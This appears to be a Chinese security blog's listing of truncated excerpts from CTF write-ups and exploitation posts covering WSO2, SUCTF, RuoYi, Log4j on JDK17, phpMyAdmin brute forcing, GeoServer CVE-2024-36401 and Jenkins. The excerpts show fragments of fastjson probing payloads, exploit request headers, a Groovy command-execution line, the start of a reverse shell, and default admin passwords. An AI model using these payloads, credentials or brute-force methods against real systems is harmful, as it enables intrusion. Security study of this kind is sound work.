2026 第三届长城杯半决赛 wso2 复现
复现环境:https://gz.imxbt.cn/games/36/challenges#1412-wso2
wso2系统中在连接h2时存在一定的安全隐患,SOAP接口导致了安全问题,环境启动需4-5分钟,请耐心等待。
访问/services/Version可以探测到版本信息
访问/carbon/进入后台登录界面,在repository/conf/deployment.toml文件中可以得到admin账号密码
1234[super_admin]username = "admin"password = "abcd1234"create_admin_account = true
可以知道当前的java版本为21
根据:Attacking WSO2 Products:RCE via Data-sources admin service
我们可以通过 NDataSourceAdmin 服务的 testDataSourceConnection 功能连接任意的JDBC URL
POC:
12345678910111213141516171819202 ...
2026 SUCTF java题复现
SU_wms
简单的小0day,试试前台RCE吧(PS:请在本地能够稳定获得flag的前提下再尝试线上环境)
代码审计,先通过AI审计一遍吧,使用的是Cursor+Sonnet4.6skills:https://github.com/3stoneBrother/code-audithttps://github.com/tanweai/puahttps://github.com/RuoJi6/java-audit-skills
认证绕过机制系统通过 Spring MVC 拦截器链实现认证控制:
12345678<!-- spring-mvc.xml --><mvc:interceptor> <mvc:mapping path="/**" /> <bean class="org.jeecgframework.core.interceptors.AuthInterceptor"> <property name="excludeUrls">... ...
Fastjson commons-io任意文件读写
Fastjson Decoder题目:https://github.com/cwkiller/Java-Puzzle/blob/main/Fastjson%20Decoder
依赖:fastjson-1.2.78.jarcommons-io-2.2.jar
fastjson反序列化
报错获取版本信息
12{ "@type": "java.lang.AutoCloseable"
报错探测依赖:
123456{ "x": { "@type": "java.lang.Character"{ "@type": "java.lang.Class", "val": "org.springframework.web.bind.annotation.RequestMapping"}}
如果类不存在会返回null,存在返回:can not cast ...
若依RuoYi 4.8.1 后台RCE
不能通杀!!!略鸡肋
不过大佬的思路太强了,值得学习,膜拜Orz
环境搭建下载:https://gitee.com/y_project/RuoYi我这里下载的是4.8.1
新建数据库ry,然后导入sql/ry_20250416.sql
修改src/main/resources/logback.xml的日志路径地址修改src/main/resources/application-druid.yml的数据库账号密码
最后启动即可
Thymeleaf模板注入这个版本的Thymelea版本为3.0.15
该版本修复了T ()这样执行RCE,并且新增了检测机制containsExpression
看到org.thymeleaf.spring5.util.SpringRequestUtils#checkViewNameNotInRequest
对viewName、requestURI、paramNames都做了检测
1234567891011121314151617181920212223private static boolean containsExpression(String t ...
当Log4j遇到jdk17~往日种种,你当真不记得了?
烂梗烂梗。。。
最近不是出了一个jdk17的反序列化,文章如下:高版本jdk+springboot链子高版本JDK下的Spring原生反序列化链JDK 17 TemplatesImpl ByPass 原理分析shiro+Spring高版本原生链
恰好最近实战当中遇到了jdk17的log4j,那么就来看一下
Spring的jdk17利用链这里参考网上的代码
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091package exp.jdk17;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import org.springframework.aop.framework.AdvisedSupport;im ...
phpMyAdmin 之弱口令爆破~
前言在网上找了一圈,发现phpMyAdmin的弱口令爆破工具已经是好几年前的了:phpMyAdmin多线程破解工具,比较新的版本根本无法使用,并且存在无法自定义路径字典,无法多线程爆破等等问题
既然网上找的工具不顺手,那么直接自己写一个(Cursor)!此篇仅用作记载,并非奇技淫巧,毫无技术含量,主要太久没update了
分析这里先拿phpStudy下载的phpMyAdmin4.8.5进行分析
可以看出首页没有什么变化的,但我们查看一下网页源码,发现
在所有的js文件后面存在?v=4.8.5,这个就是phpMyAdmin具体的版本了我们还可以通过访问/doc/html/index.html获取版本信息:
相关的路径还有:
12/README/ChangeLog
等等,但不同版本可能存在差异
爆破逻辑看一下登录成功的请求包
这里有一个参数token,很经典的CSRF防御:
每次加载登录页面时 token 都会改变。如果你的爆破脚本没有在每次尝试前先获取这个最新的 token 并随表单提交,那么所有的登录请求都会因“令牌错误”而失败,即我们再次请求就会发现登录失败了:
我们可以得到信息 ...
CVE-2024-36401 GeoServer RCE实战利用
默认账号密码:admin/geoserver
公开的POC:https://github.com/Mr-xn/CVE-2024-36401
影响版本:GeoServer < 2.23.62.24.0 <= GeoServer < 2.24.42.25.0 <= GeoServer < 2.25.2
注意typeNames必须在系统中存在才能利用访问/geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0可以搜索到所有的typeName
GetPropertyValue存在两种传参方式,第一种是xml格式:
123456789101112POST /geoserver/wfs HTTP/1.1Host: 127.0.0.1:8080Content-Type: application/xmlContent-Length: 356<wfs:GetPropertyValue service='WFS' version ...
2025 SUCTF java题复现
青丝白发一瞬间,年华老去向谁言。春风若有怜花意,可否许我再少年?
学习ing
SU_ez_solon先看到pom.xml,主要依赖如下
12345678910111213141516<dependency> <groupId>com.alipay.sofa</groupId> <artifactId>hessian</artifactId> <version>3.5.5</version></dependency><dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version></dependency><dependency> <groupId>com.h2database</gro ...
2025 VNCTF ez_emlog复现
挺有意思的一道题,看了官方wp才发现其实不难,但做的时候完全想不到,很巧妙的漏洞结合
提示:
install.php
mt_rand的安全问题
下载最新版本安装包:https://gitee.com/snowsun/emlog/releases/download/pro-2.5.4/emlog_pro_2.5.4.zip
mt_rand伪随机数在给出第二个提示的时候才反应过来是伪随机数的问题,根据mt_rand定位到include/lib/common.php
1234567891011121314151617function getRandStr($length = 12, $special_chars = true, $numeric_only = false){ if ($numeric_only) { $chars = '0123456789'; } else { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMN ...
Jenkins 弱口令实战利用
通过Jenkins 的弱口令->从而进入控制台RCE->实现内存马
这里环境就使用p神的vulhub了:https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2024-23897
版本:Jenkins Version 2.441管理员用户:admin/vulhub
历史漏洞就没什么好讲的了查看版本信息:http://IP:8080/whoAmI/
也可以从header头x-jenkins中获取版本
后渗透假如有幸进入后台,我们可以在Manage Jenkins -> Script Console执行 Groovy 脚本
Groovy控制台命令执行:
1println "whoami".execute().text
反弹shell,纯依赖Groovy即可:https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
123456789101112131415161718String host="localhost"; ...









